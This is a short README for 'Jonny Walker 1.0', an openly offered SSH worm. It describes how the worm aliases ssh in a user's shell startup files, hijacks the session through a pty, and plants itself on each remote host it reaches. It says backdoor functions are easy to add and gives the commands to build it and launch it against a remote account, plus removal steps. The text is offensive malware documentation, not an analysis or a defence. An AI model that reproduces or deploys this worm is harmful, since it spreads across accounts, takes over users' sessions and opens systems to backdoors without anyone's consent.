Jonny Walker 1.0 ================ Jonny is a ssh worm. Make sure you know what you are doing before starting or compiling it. Jonny will define aliases from "$HOME/ " to ssh and /usr/bin/ssh. Once user calls ssh to log into a remote site, Jonny will slip the real ssh output through a pty and controls the whole session. Once it sees prompt of remote shell he will plant himself there so that following ssh sessions from that account will be wormed too. Appropriate backdooring-functions may be added very easily. To build Jonny, just type './plant'. Then "./walker root@remote.host" To remove Jonny, remove the ssh aliases from .bashrc, .bash_profile and .cshrc. Also remove ' ' binary in ~.